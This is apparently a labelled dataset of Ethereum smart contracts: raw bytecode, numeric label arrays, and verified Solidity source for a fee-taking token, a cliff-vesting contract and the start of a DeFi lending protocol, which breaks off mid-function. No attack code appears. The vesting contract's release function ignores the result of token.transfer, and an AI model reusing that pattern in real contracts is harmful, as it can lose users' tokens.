3ffffffffffffffffffffffffffffffffffffffff166108fc611d0b6005611cfd600a8661134190919063ffffffff16565b61138b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d36573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d9a6003611d8c600a8661134190919063ffffffff16565b61138b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611dc5573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e296002611e1b600a8661134190919063ffffffff16565b61138b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e54573d6000803e3d6000fd5b5050565b6000600854821115611e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9690612f00565b60405180910390fd5b6000611ea9612233565b9050611ebe818461134190919063ffffffff16565b915050919050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f24577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f525781602001602082028036833780820191505090505b5090503081600081518110611f90577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561203257600080fd5b505afa158015612046573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061206a91906128fa565b816001815181106120a4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061210b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161216f95949392919061305b565b600060405180830381600087803b15801561218957600080fd5b505af115801561219d573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b60008083118290612207576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121fe9190612e9e565b60405180910390fd5b506000838561221691906131cc565b9050809150509392505050565b61222e83838361225e565b505050565b6000806000612240612429565b91509150612257818361134190919063ffffffff16565b9250505090565b60008060008060008061227087612482565b9550955095509550955095506122ce86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ea90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af81612592565b6123b9848361264f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124169190613040565b60405180910390a3505050505050505050565b60008060006008549050600065886c98b76000905061245965886c98b7600060085461134190919063ffffffff16565b8210156124755760085465886c98b7600093509350505061247e565b81819350935050505b9091565b600080600080600080600080600061249f8a600a54600b54612689565b92509250925060006124af612233565b905060008060006124c28e87878761271f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061252c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c44565b905092915050565b60008082846125439190613176565b905083811015612588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257f90612f40565b60405180910390fd5b8091505092915050565b600061259c612233565b905060006125b3828461138b90919063ffffffff16565b905061260781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612664826008546124ea90919063ffffffff16565b60088190555061267f8160095461253490919063ffffffff16565b6009819055505050565b6000806000806126b560646126a7888a61138b90919063ffffffff16565b61134190919063ffffffff16565b905060006126df60646126d1888b61138b90919063ffffffff16565b61134190919063ffffffff16565b90506000612708826126fa858c6124ea90919063ffffffff16565b6124ea90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612738858961138b90919063ffffffff16565b9050600061274f868961138b90919063ffffffff16565b90506000612766878961138b90919063ffffffff16565b9050600061278f8261278185876124ea90919063ffffffff16565b6124ea90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127bb6127b6846130f5565b6130d0565b905080838252602082019050828560208602820111156127da57600080fd5b60005b8581101561280a57816127f08882612814565b8452602084019350602083019250506001810190506127dd565b5050509392505050565b60008135905061282381613759565b92915050565b60008151905061283881613759565b92915050565b600082601f83011261284f57600080fd5b813561285f8482602086016127a8565b91505092915050565b60008135905061287781613770565b92915050565b60008151905061288c81613770565b92915050565b6000813590506128a181613787565b92915050565b6000815190506128b681613787565b92915050565b6000813590506128cb8161379e565b92915050565b6000602082840312156128e357600080fd5b60006128f184828501612814565b91505092915050565b60006020828403121561290c57600080fd5b600061291a84828501612829565b91505092915050565b6000806040838503121561293657600080fd5b600061294485828601612814565b925050602061295585828601612814565b9150509250929050565b60008060006060848603121561297457600080fd5b600061298286828701612814565b935050602061299386828701612814565b92505060406129a486828701612892565b9150509250925092565b600080604083850312156129c157600080fd5b60006129cf85828601612814565b92505060206129e085828601612892565b9150509250929050565b6000602082840312156129fc57600080fd5b600082013567ffffffffffffffff811115612a1657600080fd5b612a228482850161283e565b91505092915050565b600060208284031215612a3d57600080fd5b6000612a4b84828501612868565b91505092915050565b600060208284031215612a6657600080fd5b6000612a748482850161287d565b91505092915050565b600080600060608486031215612a9257600080fd5b6000612aa0868287016128a7565b9350506020612ab1868287016128a7565b9250506040612ac2868287016128a7565b9150509250925092565b60008060408385031215612adf57600080fd5b6000612aed858286016128bc565b9250506020612afe858286016128bc565b9150509250929050565b6000612b148383612b20565b60208301905092915050565b612b298161328b565b82525050565b612b388161328b565b82525050565b6000612b4982613131565b612b538185613154565b9350612b5e83613121565b8060005b83811015612b8f578151612b768882612b08565b9750612b8183613147565b925050600181019050612b62565b5085935050505092915050565b612ba58161329d565b82525050565b612bb4816132e0565b82525050565b6000612bc58261313c565b612bcf8185613165565b9350612bdf8185602086016132f2565b612be88161342c565b840191505092915050565b6000612c00602883613165565b9150612c0b8261343d565b604082019050919050565b6000612c23602383613165565b9150612c2e8261348c565b604082019050919050565b6000612c46602a83613165565b9150612c51826134db565b604082019050919050565b6000612c69602283613165565b9150612c748261352a565b604082019050919050565b6000612c8c601b83613165565b9150612c9782613579565b602082019050919050565b6000612caf601e83613165565b9150612cba826135a2565b602082019050919050565b6000612cd2602183613165565b9150612cdd826135cb565b604082019050919050565b6000612cf5602083613165565b9150612d008261361a565b602082019050919050565b6000612d18602983613165565b9150612d2382613643565b604082019050919050565b6000612d3b602583613165565b9150612d4682613692565b604082019050919050565b6000612d5e602483613165565b9150612d69826136e1565b604082019050919050565b6000612d81601783613165565b9150612d8c82613730565b602082019050919050565b612da0816132c9565b82525050565b612daf816132d3565b82525050565b6000602082019050612dca6000830184612b2f565b92915050565b6000604082019050612de56000830185612b2f565b612df26020830184612b2f565b9392505050565b6000604082019050612e0e6000830185612b2f565b612e1b6020830184612d97565b9392505050565b600060c082019050612e376000830189612b2f565b612e446020830188612d97565b612e516040830187612bab565b612e5e6060830186612bab565b612e6b6080830185612b2f565b612e7860a0830184612d97565b979650505050505050565b6000602082019050612e986000830184612b9c565b92915050565b60006020820190508181036000830152612eb88184612bba565b905092915050565b60006020820190508181036000830152612ed981612bf3565b9050919050565b60006020820190508181036000830152612ef981612c16565b9050919050565b60006020820190508181036000830152612f1981612c39565b9050919050565b60006020820190508181036000830152612f3981612c5c565b9050919050565b60006020820190508181036000830152612f5981612c7f565b9050919050565b60006020820190508181036000830152612f7981612ca2565b9050919050565b60006020820190508181036000830152612f9981612cc5565b9050919050565b60006020820190508181036000830152612fb981612ce8565b9050919050565b60006020820190508181036000830152612fd981612d0b565b9050919050565b60006020820190508181036000830152612ff981612d2e565b9050919050565b6000602082019050818103600083015261301981612d51565b9050919050565b6000602082019050818103600083015261303981612d74565b9050919050565b60006020820190506130556000830184612d97565b92915050565b600060a0820190506130706000830188612d97565b61307d6020830187612bab565b818103604083015261308f8186612b3e565b905061309e6060830185612b2f565b6130ab6080830184612d97565b9695505050505050565b60006020820190506130ca6000830184612da6565b92915050565b60006130da6130eb565b90506130e68282613325565b919050565b6000604051905090565b600067ffffffffffffffff8211156131105761310f6133fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613181826132c9565b915061318c836132c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131c1576131c061339f565b5b828201905092915050565b60006131d7826132c9565b91506131e2836132c9565b9250826131f2576131f16133ce565b5b828204905092915050565b6000613208826132c9565b9150613213836132c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324c5761324b61339f565b5b828202905092915050565b6000613262826132c9565b915061326d836132c9565b9250828210156132805761327f61339f565b5b828203905092915050565b6000613296826132a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132eb826132c9565b9050919050565b60005b838110156133105780820151818401526020810190506132f5565b8381111561331f576000848401525b50505050565b61332e8261342c565b810181811067ffffffffffffffff8211171561334d5761334c6133fd565b5b80604052505050565b6000613361826132c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133945761339361339f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f53656c6c732070726f6869626974656420666f7220746865206669727374203560008201527f206d696e75746573000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f43616e6e6f7420696e63726561736520666565732061626f7665203130250000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6137628161328b565b811461376d57600080fd5b50565b6137798161329d565b811461378457600080fd5b50565b613790816132c9565b811461379b57600080fd5b50565b6137a7816132d3565b81146137b257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203aacd8e294b894321add3a9ad9ffc799c0182e83c61e55837cbccb417313478964736f6c63430008040033
[ 13, 4, 5 ]
0xf25ba966316e3273d0f05acc985d24569ba6751d
pragma solidity ^0.5.2; contract ERC20TokenInterface { function totalSupply () external view returns (uint); function balanceOf (address tokenOwner) external view returns (uint balance); function transfer (address to, uint tokens) external returns (bool success); function transferFrom (address from, address to, uint tokens) external returns (bool success); } library SafeMath { function mul (uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b); return c; } function div (uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub (uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add (uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); return c; } } /** * @title Permanent, linearly-distributed vesting with cliff for specified token. * Vested accounts can check how many tokens they can withdraw from this smart contract by calling * `releasableAmount` function. If they want to withdraw these tokens, they create a transaction * to a `release` function, specifying the account to release tokens from as an argument. */ contract CliffTokenVesting { using SafeMath for uint256; event Released(address beneficiary, uint256 amount); /** * Vesting records. */ struct Beneficiary { uint256 start; uint256 duration; uint256 cliff; uint256 totalAmount; uint256 releasedAmount; } mapping (address => Beneficiary) public beneficiary; /** * Token address. */ ERC20TokenInterface public token; uint256 public nonce = 0x31415; /** * Whether an account was vested. */ modifier isVestedAccount (address account) { require(beneficiary[account].start != 0); _; } /** * Cliff vesting for specific token. */ constructor (ERC20TokenInterface tokenAddress) public { require(tokenAddress != ERC20TokenInterface(0x0)); token = tokenAddress; } /** * Calculates the releaseable amount of tokens at the current time. * @param account Vested account. * @return Withdrawable amount in decimals. */ function releasableAmount (address account) public view returns (uint256) { return vestedAmount(account).sub(beneficiary[account].releasedAmount); } /** * Transfers available vested tokens to the beneficiary. * @notice The transaction fails if releasable amount = 0, or tokens for `account` are not vested. * @param account Beneficiary account. */ function release (address account) public isVestedAccount(account) { uint256 unreleased = releasableAmount(account); require(unreleased > 0); beneficiary[account].releasedAmount = beneficiary[account].releasedAmount.add(unreleased); token.transfer(account, unreleased); emit Released(account, unreleased); if (beneficiary[account].releasedAmount == beneficiary[account].totalAmount) { // When done, clean beneficiary info delete beneficiary[account]; } } /** * Allows to vest tokens for beneficiary. * @notice Tokens for vesting will be withdrawn from `msg.sender`'s account. Sender must first approve this amount * for the smart contract. * @param account Account to vest tokens for. * @param start The absolute date of vesting start in unix seconds. * @param duration Duration of vesting in seconds. * @param cliff Cliff duration in seconds. * @param amount How much tokens in decimals to withdraw. */ function addBeneficiary ( address account, uint256 start, uint256 duration, uint256 cliff, uint256 amount ) public { require(amount != 0 && start != 0 && account != address(0x0) && cliff < duration && beneficiary[account].start == 0); require(token.transferFrom(msg.sender, address(this), amount)); beneficiary[account] = Beneficiary({ start: start, duration: duration, cliff: start.add(cliff), totalAmount: amount, releasedAmount: 0 }); } /** * Calculates the amount that is vested. * @param account Vested account. * @return Amount in decimals. */ function vestedAmount (address account) private view returns (uint256) { if (block.timestamp < beneficiary[account].cliff) { return 0; } else if (block.timestamp >= beneficiary[account].start.add(beneficiary[account].duration)) { return beneficiary[account].totalAmount; } else { return beneficiary[account].totalAmount.mul( block.timestamp.sub(beneficiary[account].start) ).div(beneficiary[account].duration); } } }
0x608060405234801561001057600080fd5b506004361061007e577c010000000000000000000000000000000000000000000000000000000060003504631726cbc8811461008357806319165587146100bb57806355119b1a146100e35780638100856814610121578063affed0e014610172578063fc0c546a1461017a575b600080fd5b6100a96004803603602081101561009957600080fd5b5035600160a060020a031661019e565b60408051918252519081900360200190f35b6100e1600480360360208110156100d157600080fd5b5035600160a060020a03166101db565b005b6100e1600480360360a08110156100f957600080fd5b50600160a060020a03813516906020810135906040810135906060810135906080013561039f565b6101476004803603602081101561013757600080fd5b5035600160a060020a0316610527565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6100a9610556565b61018261055c565b60408051600160a060020a039092168252519081900360200190f35b600160a060020a0381166000908152602081905260408120600401546101d3906101c78461056b565b9063ffffffff61066016565b90505b919050565b600160a060020a0381166000908152602081905260409020548190151561020157600080fd5b600061020c8361019e565b90506000811161021b57600080fd5b600160a060020a038316600090815260208190526040902060040154610247908263ffffffff61067a16565b600160a060020a0380851660008181526020818152604080832060049081019690965560015481517fa9059cbb000000000000000000000000000000000000000000000000000000008152968701949094526024860187905251929093169363a9059cbb93604480830194919391928390030190829087803b1580156102cc57600080fd5b505af11580156102e0573d6000803e3d6000fd5b505050506040513d60208110156102f657600080fd5b505060408051600160a060020a03851681526020810183905281517fb21fb52d5749b80f3182f8c6992236b5e5576681880914484d7f4c9b062e619e929181900390910190a1600160a060020a03831660009081526020819052604090206003810154600490910154141561039a57600160a060020a0383166000908152602081905260408120818155600181018290556002810182905560038101829055600401555b505050565b80158015906103ad57508315155b80156103c15750600160a060020a03851615155b80156103cc57508282105b80156103ee5750600160a060020a038516600090815260208190526040902054155b15156103f957600080fd5b600154604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018490529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b15801561046c57600080fd5b505af1158015610480573d6000803e3d6000fd5b505050506040513d602081101561049657600080fd5b505115156104a357600080fd5b6040805160a081018252858152602081018590529081016104ca868563ffffffff61067a16565b815260208082019390935260006040918201819052600160a060020a039097168752868352958690208151815591810151600183015594850151600282015560608501516003820155608090940151600490940193909355505050565b600060208190529081526040902080546001820154600283015460038401546004909401549293919290919085565b60025481565b600154600160a060020a031681565b600160a060020a038116600090815260208190526040812060020154421015610596575060006101d6565b600160a060020a0382166000908152602081905260409020600181015490546105c49163ffffffff61067a16565b42106105ec5750600160a060020a0381166000908152602081905260409020600301546101d6565b600160a060020a038216600090815260208190526040902060018101549054610659919061064d9061062590429063ffffffff61066016565b600160a060020a0386166000908152602081905260409020600301549063ffffffff61068a16565b9063ffffffff6106b616565b90506101d6565b60008282111561066f57600080fd5b508082035b92915050565b8181018281101561067457600080fd5b600082151561069b57506000610674565b508181028183828115156106ab57fe5b041461067457600080fd5b600081838115156106c357fe5b04939250505056fea165627a7a7230582028d9d5e1d6802c54e6146dd8633fd143364a78a2c2eb9938bf03f528fc90c7af0029
[ 16, 7 ]
0xf25be7d01fcf2f42c75a3c79b32a13de8172090c
pragma experimental ABIEncoderV2; pragma solidity 0.6.4; // SPDX-License-Identifier: MIT library EthAddressLib { /** * @dev returns the address used within the protocol to identify ETH * @return the address assigned to ETH */ function ethAddress() internal pure returns (address) { return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; } } // SPDX-License-Identifier: MIT /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a <= b ? a : b; } function abs(uint256 a, uint256 b) internal pure returns (uint256) { if (a < b) { return b - a; } return a - b; } } // SPDX-License-Identifier: MIT contract Exponential { uint256 constant expScale = 1e18; uint256 constant doubleScale = 1e36; uint256 constant halfExpScale = expScale / 2; using SafeMath for uint256; function getExp(uint256 num, uint256 denom) public pure returns (uint256 rational) { rational = num.mul(expScale).div(denom); } function getDiv(uint256 num, uint256 denom) public pure returns (uint256 rational) { rational = num.mul(expScale).div(denom); } function addExp(uint256 a, uint256 b) public pure returns (uint256 result) { result = a.add(b); } function subExp(uint256 a, uint256 b) public pure returns (uint256 result) { result = a.sub(b); } function mulExp(uint256 a, uint256 b) public pure returns (uint256) { uint256 doubleScaledProduct = a.mul(b); uint256 doubleScaledProductWithHalfScale = halfExpScale.add( doubleScaledProduct ); return doubleScaledProductWithHalfScale.div(expScale); } function divExp(uint256 a, uint256 b) public pure returns (uint256) { return getDiv(a, b); } function mulExp3( uint256 a, uint256 b, uint256 c ) public pure returns (uint256) { return mulExp(mulExp(a, b), c); } function mulScalar(uint256 a, uint256 scalar) public pure returns (uint256 scaled) { scaled = a.mul(scalar); } function mulScalarTruncate(uint256 a, uint256 scalar) public pure returns (uint256) { uint256 product = mulScalar(a, scalar); return truncate(product); } function mulScalarTruncateAddUInt( uint256 a, uint256 scalar, uint256 addend ) public pure returns (uint256) { uint256 product = mulScalar(a, scalar); return truncate(product).add(addend); } function divScalarByExpTruncate(uint256 scalar, uint256 divisor) public pure returns (uint256) { uint256 fraction = divScalarByExp(scalar, divisor); return truncate(fraction); } function divScalarByExp(uint256 scalar, uint256 divisor) public pure returns (uint256) { uint256 numerator = expScale.mul(scalar); return getExp(numerator, divisor); } function divScalar(uint256 a, uint256 scalar) public pure returns (uint256) { return a.div(scalar); } function truncate(uint256 exp) public pure returns (uint256) { return exp.div(expScale); } } // SPDX-License-Identifier: MIT /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ function decimals() external view returns (uint8); event Approval( address indexed owner, address indexed spender, uint256 value ); } // SPDX-License-Identifier: MIT interface IFToken is IERC20 { function mint(address user, uint256 amount) external returns (bytes memory); function borrow(address borrower, uint256 borrowAmount) external returns (bytes memory); function withdraw( address payable withdrawer, uint256 withdrawTokensIn, uint256 withdrawAmountIn ) external returns (uint256, bytes memory); function underlying() external view returns (address); function accrueInterest() external; function getAccountState(address account) external view returns ( uint256, uint256, uint256 ); function MonitorEventCallback( address who, bytes32 funcName, bytes calldata payload ) external; //用户存借取还操作后的兑换率 function exchangeRateCurrent() external view returns (uint256 exchangeRate); function repay(address borrower, uint256 repayAmount) external returns (uint256, bytes memory); function borrowBalanceStored(address account) external view returns (uint256); function exchangeRateStored() external view returns (uint256 exchangeRate); function liquidateBorrow( address liquidator, address borrower, uint256 repayAmount, address fTokenCollateral ) external returns (bytes memory); function borrowBalanceCurrent(address account) external returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function _reduceReserves(uint256 reduceAmount) external; function _addReservesFresh(uint256 addAmount) external; function cancellingOut(address striker) external returns (bool strikeOk, bytes memory strikeLog); function APR() external view returns (uint256); function APY() external view returns (uint256); function calcBalanceOfUnderlying(address owner) external view returns (uint256); function borrowSafeRatio() external view returns (uint256); function tokenCash(address token, address account) external view returns (uint256); function getBorrowRate() external view returns (uint256); function addTotalCash(uint256 _addAmount) external; function subTotalCash(uint256 _subAmount) external; function totalCash() external view returns (uint256); function totalReserves() external view returns (uint256); function totalBorrows() external view returns (uint256); } // SPDX-License-Identifier: MIT interface IOracle { function get(address token) external view returns (uint256, bool); } // SPDX-License-Identifier: MIT /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, 